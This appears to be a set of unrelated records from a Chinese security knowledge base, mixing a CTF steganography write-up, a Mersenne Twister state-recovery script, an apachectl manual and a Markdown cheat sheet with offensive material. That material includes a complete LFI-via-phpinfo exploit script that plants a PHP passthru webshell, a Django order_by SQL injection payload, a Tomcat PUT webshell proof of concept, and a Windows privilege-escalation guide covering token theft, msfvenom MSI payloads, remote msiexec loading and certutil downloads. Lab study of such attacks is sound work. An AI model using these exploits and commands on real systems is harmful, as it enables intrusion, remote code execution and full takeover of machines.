`hxp{H1dd3n_Gr0uP_0rD3rz_4r3_5uPP0s3D_t0_B3_k3p7_h1DD3n!}`
sec-knowleage
apachectl === Apache服务器前端控制工具 ## 补充说明 **apachectl命令** 是Apache的Web服务器前端控制工具,用以启动、关闭和重新启动Web服务器进程。 ### 语法 ``` apachectl(参数) ``` ### 参数 * configtest:检查设置文件中的语法是否正确; * fullstatus:显示服务器完整的状态信息; * graceful:重新启动Apache服务器,但不会中断原有的连接; * help:显示帮助信息; * restart:重新启动Apache服务器; * start:启动Apache服务器; * status:显示服务器摘要的状态信息; * stop:停止Apache服务器。
sec-knowleage
# Ducking Category: Steganography, 50 points ## Description > I hid a flag in my favorite photo, try to find it! 🦆🦆🦆 An image was attached. ## Solution We start by searching for strings within the attached image: ```console ┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Ducking] └─$ strings ducking.jpg -n 10 passphrase:duck '9=82<.342 !22222222222222222222222222222222222222222222222222 %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz xVW-lDQXas dU*1Uv.ThCt ``` Notice "passphrase:duck" - that's a clear hint for using `steghide`: ```console ┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Ducking] └─$ steghide extract -sf ducking.jpg -p duck wrote extracted data to "flag.txt". ┌──(user@kali)-[/media/sf_CTFs/ducky_debug_duck/Ducking] └─$ cat flag.txt flag{qu4ck_qu4ck} ```
sec-knowleage
import random class MT19937Recover: """Reverses the Mersenne Twister based on 624 observed outputs. The internal state of a Mersenne Twister can be recovered by observing 624 generated outputs of it. However, if those are not directly observed following a twist, another output is required to restore the internal index. See also https://en.wikipedia.org/wiki/Mersenne_Twister#Pseudocode . """ def unshiftRight(self, x, shift): res = x for i in range(32): res = x ^ res >> shift return res def unshiftLeft(self, x, shift, mask): res = x for i in range(32): res = x ^ (res << shift & mask) return res def untemper(self, v): """ Reverses the tempering which is applied to outputs of MT19937 """ v = self.unshiftRight(v, 18) v = self.unshiftLeft(v, 15, 0xefc60000) v = self.unshiftLeft(v, 7, 0x9d2c5680) v = self.unshiftRight(v, 11) return v def go(self, outputs, forward=True): """Reverses the Mersenne Twister based on 624 observed values. Args: outputs (List[int]): list of >= 624 observed outputs from the PRNG. However, >= 625 outputs are required to correctly recover the internal index. forward (bool): Forward internal state until all observed outputs are generated. Returns: Returns a random.Random() object. """ result_state = None assert len(outputs) >= 624 # need at least 624 values ivals = [] for i in range(624): ivals.append(self.untemper(outputs[i])) if len(outputs) >= 625: # We have additional outputs and can correctly # recover the internal index by bruteforce challenge = outputs[624] for i in range(1, 626): state = (3, tuple(ivals + [i]), None) r = random.Random() r.setstate(state) if challenge == r.getrandbits(32): result_state = state break else: # With only 624 outputs we assume they were the first observed 624 # outputs after a twist --> we set the internal index to 624. result_state = (3, tuple(ivals + [624]), None) rand = random.Random() rand.setstate(result_state) if forward: for i in range(624, len(outputs)): assert rand.getrandbits(32) == outputs[i] return rand def test_PythonMT19937Recover(): """Just a testcase to ensure correctness""" mtb = MT19937Recover() r1 = random.Random(0x31337) # just some discarded random numbers to move internal state forward [r1.getrandbits(32) for _ in range(1234)] # the actual leak of 1000 values n = [r1.getrandbits(32) for _ in range(1000)] r2 = mtb.go(n) assert r1.getrandbits(32) == r2.getrandbits(32) test_PythonMT19937Recover()
sec-knowleage
package com.p000a; import java.util.Arrays; public class CheckReal { private static int[] f0a = new int[]{-1414812757, -842150451, -269488145, 305419896}; private static byte[] f1b = new byte[]{(byte) 99, (byte) 124, (byte) 101, (byte) -23, (byte) -114, (byte) 81, (byte) -47, (byte) -39, (byte) -102, (byte) 79, (byte) 22, (byte) 52, (byte) -39, (byte) -94, (byte) -66, (byte) -72, (byte) 101, (byte) -18, (byte) 73, (byte) -27, (byte) 53, (byte) -5, (byte) 46, (byte) -20, (byte) 97, (byte) 11, (byte) -56, (byte) 36, (byte) -19, (byte) -49, (byte) -112, (byte) -75}; static byte[] m2a(byte[] bArr, int i, int[] iArr, int i2) { int[] a = CheckReal.m4a(bArr, i); int i3 = a[0]; int i4 = a[1]; int i5 = 0; int i6 = iArr[0]; int i7 = iArr[1]; int i8 = iArr[2]; int i9 = iArr[3]; for (int i10 = 0; i10 < i2; i10++) { i5 -= 1640531527; i3 += (((i4 << 4) + i6) ^ (i4 + i5)) ^ ((i4 >> 5) + i7); i4 += (((i3 << 4) + i8) ^ (i3 + i5)) ^ ((i3 >> 5) + i9); } a[0] = i3; a[1] = i4; return CheckReal.m3a(a, 0); } private static int[] m4a(byte[] bArr, int i) { int[] iArr = new int[(bArr.length >> 2)]; int i2 = 0; while (i < bArr.length) { iArr[i2] = ((CheckReal.m0a(bArr[i + 3]) | (CheckReal.m0a(bArr[i + 2]) << 8)) | (CheckReal.m0a(bArr[i + 1]) << 16)) | (bArr[i] << 24); i2++; i += 4; } return iArr; } private static byte[] m3a(int[] iArr, int i) { byte[] bArr = new byte[(iArr.length << 2)]; int i2 = 0; while (i < bArr.length) { bArr[i + 3] = (byte) (iArr[i2] & 255); bArr[i + 2] = (byte) ((iArr[i2] >> 8) & 255); bArr[i + 1] = (byte) ((iArr[i2] >> 16) & 255); bArr[i] = (byte) ((iArr[i2] >> 24) & 255); i2++; i += 4; } return bArr; } private static int m0a(byte b) { if (b < (byte) 0) { return b + 256; } return b; } public static byte[] m1a(byte[] bArr) { int length = 8 - (bArr.length % 8); Object obj = new byte[(bArr.length + length)]; obj[0] = (byte) length; System.arraycopy(bArr, 0, obj, length, bArr.length); Object obj2 = new byte[obj.length]; for (length = 0; length < obj2.length; length += 8) { System.arraycopy(CheckReal.m2a(obj, length, f0a, 32), 0, obj2, length, 8); } return obj2; } public static boolean CheckReal(String str) { return Arrays.equals(CheckReal.m1a(str.getBytes()), f1b); } }
sec-knowleage
#!/usr/bin/python # https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf # The following line is not required but supposedly optimizes code. # However, this breaks on some Python 2 installations, where the future module version installed is > 0.16. This can be a pain to revert. # from builtins import range from __future__ import print_function import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r <?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?load=%s%%00 HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] =>") fn = d[i+17:i+31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print("\nGot it! Shell created in /tmp/g") self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] =>") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print("found %s at %i" % (d[i:i+10],i)) # padded up a bit return i+256 def main(): print("LFI With PHPInfo()") print("-=" * 30) if len(sys.argv) < 2: print("Usage: %s host [port] [threads]" % sys.argv[0]) sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error as e: print("Error with hostname %s: %s" % (sys.argv[1], e)) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError as e: print("Error with port %d: %s" % (sys.argv[2], e)) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError as e: print("Error with poolsz %d: %s" % (sys.argv[3], e)) sys.exit(1) print("Getting initial offset...", end=' ') reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print("Spawning worker pool (%d)..." % poolsz) sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print() if e.is_set(): print("Woot! \m/") else: print(":(") except KeyboardInterrupt: print("\nTelling threads to shutdown...") e.set() print("Shuttin' down...") for t in tp: t.join() if __name__=="__main__": print("Don't forget to modify the LFI URL") main()
sec-knowleage
# Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042) Django在2021年7月1日发布了一个安全更新,修复了在QuerySet底下的order_by函数中存在的SQL注入漏洞 参考链接: - https://www.djangoproject.com/weblog/2021/jul/01/security-releases/ 该漏洞需要用户可控order_by传入的值,在预期列的位置注入SQL语句。 ## 漏洞环境 执行如下命令编译及启动一个存在漏洞的Django 3.2.4: ``` docker compose build docker compose up -d ``` 环境启动后,访问`http://your-ip:8000`即可看到Django默认首页。 ## 漏洞复现 访问页面`http://your-ip:8000/vuln/`,在GET参数中构造`order=-id`,会得到根据id降序排列的结果: `http://your-ip:8000/vuln/?order=-id` ![](1.png) 再构造GET参数`order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23`提交,其中`vuln_collection`是`vuln`应用下的模型`Collection` `http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23` 成功注入SQL语句,利用堆叠注入获得信息: ![](2.png)
sec-knowleage
# 权限提升 > 部分内容由 [the-fog](https://github.com/the-fog) 提供,仅做部分内容排版修改 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * **[Win](#win)** * **[Linux](#linux)** * **[Mysql](#mysql)** * **[MSSQL](#mssql)** * **[PostgreSQL](#postgresql)** * **[Redis](#redis)** --- **多平台提权辅助工具** - [carlospolop/privilege-escalation-awesome-scripts-suite](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) - 包含 win、Linux,之后还会有 mac - [Loophole](https://detect.secwx.com/) - [AlessandroZ/BeRoot](https://github.com/AlessandroZ/BeRoot) - [vulmon/Vulmap](https://github.com/vulmon/Vulmap) - 在线本地漏洞扫描程序项目 --- ## Win **相关案例** - [记一次绕过火绒安全提权实战案例](https://mp.weixin.qq.com/s/Oe1ARbfpoPiognCGDQ4HeA) - 与其说是提权其实还是pth,比较特殊 ### 提权漏洞 - [OS-Exploits](../OS安全/OS-Exploits.md#提权漏洞) ### 管理员权限提权成 system **相关文章** - [渗透技巧——从Admin权限切换到System权限](https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E4%BB%8EAdmin%E6%9D%83%E9%99%90%E5%88%87%E6%8D%A2%E5%88%B0System%E6%9D%83%E9%99%90) - [Alternative methods of becoming SYSTEM](https://blog.xpnsec.com/becoming-system/) - [Metasploit、Powershell之AlwaysInstallElevated提权实战](https://xz.aliyun.com/t/203) #### windows 自带功能 **SC 命令** ``` sc Create MyService binPath= "cmd /c start" type= own type= interact sc start MyService ``` 该命令在 xp 系统可以正常使用, win7 和 winsrv2008 下需要点击查看信息, win8 以上不支持 进入命令行界面后,可以输入 explorer.exe 打开系统桌面,路径为 C:\Windows\system32\config\systemprofile\Desktop 在此种环境下打开的任何程序都具有 system 权限 **计划任务** - at 命令 ``` at 9:30 cmd.exe ``` 适用于 win7 和 winsrv2008 - schtasks 命令 - 创建服务, 以 system 权限启动 ``` schtasks /Create /TN MyService2 /SC DAILY /ST 10:00:00 /TR cmd.exe /RU SYSTEM ``` - 查看服务状态 ``` schtasks /Query /TN MyService2 ``` 有时候会报错 错误: 无法加载列资源, 这是由于 cmd 编码是 gbk 导致的, 调整为美国编码 (此时无法打印非 ascii 字符) 即可: ``` chcp(查看当前 cmd 窗口编码, gbk 为 936) chcp 437 ``` - 删除服务 ``` schtasks /Delete /TN MyService2 /F ``` 支持 win7-win10, 借助工具才能看到 **使用 psexec 会创建 PSEXESVC 服务** ``` psexec.exe -accepteula -s -i -d cmd.exe ``` 默认情况下, system 权限的进程不会在用户桌面显示, 如果不想显示进程界面, 可以去掉 -i 参数; 第一次使用 psexec.exe 需要确认, 使用 -accepteula 参数无需确认 如果系统不自带,下载地址为: https://download.sysinternals.com/files/PSTools.zip 官方文档: https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec **命名管道** 这里借鉴了 Meterpreter 的方法: 1. 创建 system 权限的服务, 提供一个命名管道 2. 创建进程, 连接到该命名管道 使用 github 上的开源代码 - https://github.com/xpn/getsystem-offline 下载下来之后编译成 getsystem-offline.exe 和 getsystem_service.exe; 依次在命令行运行 getsystem_service.exe 和 getsystem-offline.exe 即可 (测试机上需安装 .net4.0) #### 利用 msi 安装文件获得System权限 msi格式的介绍 - http://sc.openoffice.org/compdocfileformat.pdf **msiexec** 系统进程, 是 Windows Installer 的一部分, 用于安装 Windows update 更新和 Windows Installer 安装包, 后者即上面提到的 .msi 格式的安装包; 在命令行下运行 msiexec, 即可看到帮助文档 我们平时双击打开一个 .msi 文件,相当于在命令行下执行了如下命令 ``` msiexec /i xxx.msi ``` 隐藏界面安装 ``` msiexec /q /i xxx.msi ``` 远程加载安装 ``` msiexec /q /i http://192.168.101.146/test.msi (文件后缀名可以不为.msi) ``` **Advanced Installer** Advanced Installer 是一个 Windows Installer 的 MSI 安装包的制作工具, 下载地址: https://www.advancedinstaller.com/download.html **利用 AlwaysInstallElevated 提权** 利用组策略可以实现权限提升, 开启 AlwaysInstallElevated 特权安装功能 1. 打开组策略编辑器 (win+r,gpedit.msc) 2. 用户配置 -> 管理模板 ->Windows 组件 ->Windows Installer-> 永远以高特权进行安装 -> 选择启用 3. 计算机配置 -> 管理模板 ->Windows 组件 ->Windows Installer-> 永远以高特权进行安装 -> 选择启用 其实就是修改了两处注册表,命令行下进行上述操作 ``` reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` **使用 msf 生成 msi** 本地版本 ``` msfvenom -p windows/exec CMD=cmd.exe -f msi > test.msi ``` 输入 shell 命令进入目标主机 cmd 下使用命令行工具 Msiexec 进行安装,具体命令如下 ``` msiexec /quiet /qn /i C:\msi.msi msiexec工具相关的参数: /quiet=安装过程中禁止向用户发送消息 /qn=不使用图形界面 /i=安装程序 ``` 运行后,此时在 `C:\Windows\Installer` 会生成 temp 和 msi 临时文件,安装结束后会自动删除;如果使用的是命令行隐藏安装,则会保留tmp文件;不管怎么都会在 `%TEMP%` 目录下生成对应的log文件 **wix3** 下载地址: https://github.com/wixtoolset/wix3/releases/ msigen.wix 代码下载地址: https://gist.github.com/xpn/d1ef20dfd266053227d3e992ae84c64e 由于上述文件中的 payload 如今已不免杀, 所以我将其替换成如下 payload: ```xml <Property Id="cmdline">cmd.exe </Property> ``` 完整代码如下: ```xml <?xml version="1.0"?> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name" Version="0.0.1" Manufacturer="@_xpn_" Language="1033"> <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/> <Media Id="1" /> <Directory Id="TARGETDIR" Name="SourceDir"> <Directory Id="ProgramFilesFolder"> <Directory Id="INSTALLLOCATION" Name="Example"> <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"> </Component> </Directory> </Directory> </Directory> <Feature Id="DefaultFeature" Level="1"> <ComponentRef Id="ApplicationFiles"/> </Feature> <Property Id="cmdline">cmd.exe </Property> <CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/> <CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check"> invalid vbs to fail install </CustomAction> <InstallExecuteSequence> <Custom Action="SystemShell" After="InstallInitialize"></Custom> <Custom Action="FailInstall" Before="InstallFiles"></Custom> </InstallExecuteSequence> </Product> </Wix> ``` 编译命令: ```cmd candle.exe msigen.wix light.exe msigen.wixobj ``` 直接双击执行 msigen.msi 会弹框,启动的 calc.exe 为 system 权限 命令行下执行: ``` msiexec /q /i msigen.msi ``` 启动的 calc.exe 为 high 权限 #### 利用 token 复制获得 System 权限 **简介** Windows 有两种类型的 Token 1. Delegation token(授权令牌): 用于交互会话登录 (例如本地用户直接登录、远程桌面登录) 2. Impersonation token(模拟令牌): 用于非交互登录 (利用 net use 访问共享文件夹) 注: 两种 token 只在系统重启后清除, 具有 Delegation token 的用户在注销后, 该 Token 将变成 Impersonation token, 依旧有效 **incognito** 下载地址: https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip 列举 token ``` incognito.exe list_tokens -u ``` 提权至 system ``` incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe ``` 切换到 A 用户 ``` incognito.exe execute -c "WIN-SIL71EN1H12\a" cmd.exe ``` 伪造用户 ``` incognito.exe execute -c "WIN-SIL71EN1H12\b" cmd.exe ``` **metasploit 版** 首先回弹一个 meterpreter 的 shell 回来 加载 incognito ``` load incognito ``` 列举 token ``` list_tokens -u ``` 查看当前用户 ``` getuid ``` 提权至 system 权限 ``` getsystem ``` 指定用户 token 窃取 ``` impersonate_token "NT AUTHORITY\SYSTEM" ``` 指定进程号窃取 ``` steal_token 7376 ``` 返回之前 token ``` rev2self 或者 drop_token ``` **powershell 版** NtObjectManager 安装模块 ``` Install-Module -Name NtObjectManager ``` 提权 ``` New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess(Get-NtProcess -Name lsass.exe) ``` 卸载模块 ``` Uninstall-Module -Name NtObjectManager ``` psgetsystem ``` certutil -urlcache -split -f https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1 .\psgetsys.ps1 [MyProcess]::CreateProcessFromParent(666,"c:\windows\system32\cmd.exe","") 将上面命令中的 666 改为任意一个 system 权限的进程的 pid 即可 ``` **C++ 实现** 代码地址: https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6 下载下来之后, 用 vs2019 打开, 文件 -> 从现有代码构建项目 ->Visual C++-> 下一步 -> 选择文件夹, 填写项目名 -> 完成 添加头文件 ```c++ #include <windows.h> #include <stdio.h> ``` 编译即可 找对应进程的 pid ``` ps |findstr lsass ``` 提权成 system ``` .\getsystem_parent.exe 944 ``` ### 提权成 trustedinstaller 组用户 **描述** 在 Windows 系统中,即使获得了管理员权限和 system 权限,也不能修改系统文件 因为 Windows 系统的最高权限为 TrustedInstaller **相关文章** - [渗透技巧——Token窃取与利用](https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8) - [The Art of Becoming TrustedInstaller](https://www.tiraniddo.dev/2017/08/the-art-of-becoming-trustedinstaller.html) **查看 trustedinstaller 用户** ``` Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner ``` #### 利用TrustedInstaller.exe的token 使用 TrustedInstaller.exe 的 token 创建子进程,这样子进程就有了 TrustedInstaller 权限 **powershell 版** 先安装 Set-NtTokenPrivilege 命令 https://www.powershellgallery.com/packages/NtObjectManager/1.1.1 ```powershell # Save-Module需要powershell v5.0支持 Save-Module -Name NtObjectManager -Path c:\test Install-Module -Name NtObjectManager -RequiredVersion 1.1.1 ``` ```powershell Set-ExecutionPolicy Unrestricted Import-Module NtObjectManager sc.exe start TrustedInstaller Set-NtTokenPrivilege SeDebugPrivilege $p = Get-NtProcess -Name TrustedInstaller.exe $proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p ``` 使用 whoami 查看当前 cmd 权限: ``` whoami /groups /fo list whoami /groups | findstr TrustedInstaller ``` **metasploit 版** 首先回弹一个 meterpreter 的 shell 回来 加载 incognito ``` load incognito ``` 提权至 system 权限 ``` impersonate_token "NT AUTHORITY\SYSTEM" ``` 启动 trustedinstaller 服务 ``` shell sc start trustedinstaller ``` 找到进程对应的 pid ``` ps ``` 窃取 token ``` steal_token 7376 ``` 验证是否提权成功 ``` shell whoami /groups echo aaa > C:Windows\servicing\1.txt ``` **SelectMyParent** - https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/SelectMyParent.cpp ``` sc.exe start TrustedInstaller SelectMyParent.exe cmd.exe 1700 ``` **Invoke-TokenManipulation.ps1** - https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1 ```powershell sc.exe start TrustedInstaller $id = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id} Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $id ``` ### 降权 **描述** 降权通常是指从system权限降到普通用户权限,往往是为了操作当前用户的文件内容(如捕获桌面、操作注册表等) **相关文章** - [渗透技巧——程序的降权启动](https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8D%E6%9D%83%E5%90%AF%E5%8A%A8) **为什么要降权** - 无法获得当前用户的文件内容 - 环境变量存在差异 - system权限下,查询到的环境变量APPDATA为`C:\Windows\system32\config\systemprofile\AppData\Roaming` - 管理员权限下,查询到的环境变量APPDATA为`C:\Users\a\AppData\Roaming` - 注册表存在差异 #### 管理员权限降到普通用户权限 **runas** ``` runas /user:test calc.exe ``` 这个需要手动输入密码 通过配合 sanur 可以通过管道的方法将密码或者文件中的内容传递给 runas 程序 ``` runas /user:test calc.exe | sanur password ``` **lsrunas** - http://www.verydoc.com/exeshell.html ``` lsrunas.exe /user:test /password:123456 /domain: /command:"calc.exe" /runpath:c:\ ``` **CPAU** - https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/CPAU.exe ``` CPAU.exe -u test -p 123456 -ex "calc.exe" -cwd c:\windows\system32 -lwp // 必须添加参数-lwp或-lwop,否则无法实现降权 ``` **powershell** ```powershell $uname="test" $pwd=ConvertTo-SecureString "123456" -AsPlainText –Force $cred=New-Object System.Management.Automation.PSCredential($uname,$pwd) Start-Process -FilePath "calc.exe" -Credential $cred ``` #### system权限降到普通用户权限 **SelectMyParent** - https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/SelectMyParent.cpp --- ## Linux **常规提权** - 参考 [OS-Exploits](../OS安全/OS-Exploits.md#linux) 中的 linux 漏洞部分 **Restricted Bash 绕过** - 相关文章 - [Restricted Bash绕过技巧](https://mp.weixin.qq.com/s/bIwKOz1uo-anQyFP0W_j7g) - 什么是 Restricted Bash Restricted Bash(rbash) 又叫做 Restricted Shell,顾名思义就是受限制的 shell。Linux 的 shell 功能强大,以至于整个 Linux 系统可以精准的使用 shell 来控制。在 Linux 不同用户之间,当你执行的一个系统命令时,它可能是危险的不可逆命令,为不同用户之间设定不同权限进行安全管理引入了限制 Bash Shell,防止一些非必要权限用户执行有害系统的高危命令。 再比如一台 Linux 系统服务器中采用多用户管理,部分用户没有 sudo 权限,但是这些用户可以查看系统目录中大部分内容,虽然没有权限进行编辑但是不希望这些用户查看这些目录,这时可以通过 rbash 在不调整系统上每个文件夹权限的情况下通过限制用户输入某些命令来限制用户随意查看。 简单来说 rbash 与 shell 的区别就是限制一些行为,让一些命令无法执行。 - rbash 绕过方法 - 参考 [linux安全](../OS安全/Linux安全.md#lol) 中的 LOL 技巧 --- ## Mysql - [Mysql提权](../软件服务安全/实验/Mysql.md) --- ## MSSQL - [MSSQL提权](../软件服务安全/实验/MSSQL.md) --- ## PostgreSQL - [PostgreSQL提权](../软件服务安全/实验/PostgreSQL.md) --- ## Redis - [Redis](../软件服务安全/实验/Redis.md) --- ## Oracle - [Oracle](../软件服务安全/实验/Oracle.md) --- ## Docker - [Docker](../软件服务安全/实验/Docker.md) --- ## Kubernetes - [Kubernetes](../软件服务安全/实验/Kubernetes.md)
sec-knowleage
--- title: Markdown date: 2020-12-14 18:28:43 background: bg-[#6319bf] tags: - md - Markup - text - format categories: - Programming intro: This is a quick reference cheat sheet to the Markdown syntax. plugins: - copyCode --- Markdown Quick Reference --------------- ### Headers (atx style) ```markdown # h1 ## h2 ### h3 #### h4 ##### h5 ###### h6 ``` ### Headers (setext style) ```markdown Header 1 ======== ``` ```markdown Header 2 -------- ``` ### Blockquotes ```markdown > This is > a blockquote > > > Nested > > Blockquote ``` ### Unordered List {.row-span-2} ```markdown * Item 1 * Item 2 * item 3a * item 3b ``` or ```markdown - Item 1 - Item 2 ``` or ```markdown + Item 1 + Item 2 ``` or ```markdown - [ ] Checkbox off - [x] Checkbox on ``` ### Ordered List ```markdown 1. Item 1 2. Item 2 a. item 3a b. item 3b ``` ### Links ```markdown [link](http://google.com) ``` ```markdown [link][google] [google]: http://google.com ``` ```markdown <http://google.com> ``` ### Emphasis ```markdown *italic* _italic_ ``` ```markdown **bold** __bold__ ``` ```markdown `inline code` ~~struck out~~ ``` ### Horizontal line Hyphens ```markdown --- ``` Asterisks ```markdown *** ``` Underscores ```markdown ___ ``` ### Code ~~~markdown ```javascript console.log("This is a block code") ``` ~~~ ```markdown ~~~css .button { border: none; } ~~~ ``` ```markdown 4 space indent makes a code block ``` #### inline code ```markdown `Inline code` has back-ticks around it ``` ### Tables {.col-span-2} ```markdown | Left column | Center column | Right column | |:------------|:-------------:|-------------:| | Cell 1 | Centered | $1600 | | Cell 2 | Cell 3 | $12 | ``` Simple style ```markdown Left column | Center column | Right column :----------:|:-------------:|:-----------: Cell 1 | Centered | $1600 Cell 2 | Cell 3 | $12 ``` A markdown table generator: [tableconvert.com](https://tableconvert.com/) ### Images {.col-span-2} ```markdown ``` #### Image with link ```markdown [ [ ``` #### Reference style ```markdown ![alt text][logo] [logo]: /images/logo.png "Logo Title" ``` ### Backslash escapes | Characters | Escape | Description | |------------|--------|-------------| | \\ | \\\\ | backslash | | \` | \\\` | backtick | | \* | \\\* | asterisk | | \_ | \\\_ | underscore | | \{\} | \\\{\} | curly braces | | \[\] | \\\[\] | square brackets | | \(\) | \\\(\) | parentheses | | \# | \\\# | hash mark | | \+ | \\\+ | plus sign | | \- | \\\- | minus sign \(hyphen\) | | \. | \\\. | dot | | \! | \\\! | exclamation mark | {.show-header}
sec-knowleage
# Tomcat Arbitrary Write-file Vulnerability through PUT Method (CVE-2017-12615) [中文版本(Chinese version)](README.zh-cn.md) Tomcat version: 8.5.19 ## Environment Setup ``` docker compose build docker compose up -d ``` After successfully running the commands above, you will see the example page of Tomcat through visiting the site `http://your-ip:8080`. ## Rationale Reference links: - http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html - https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5 - https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e Tomcat sets up the write permission(readonly=false), which leads to the result that we can write files into the server. ``` <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> ``` Although Tomcat checks the file suffix to some extent(can't write jsp directly), we can still bypass the limitation through some file system features(such as using `/` in Linux). ## POC Send the following packets directly and then the shell will be written into the Web root directory. ``` PUT /1.jsp/ HTTP/1.1 Host: your-ip:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 5 shell ``` As follows: ![](01.png)
sec-knowleage
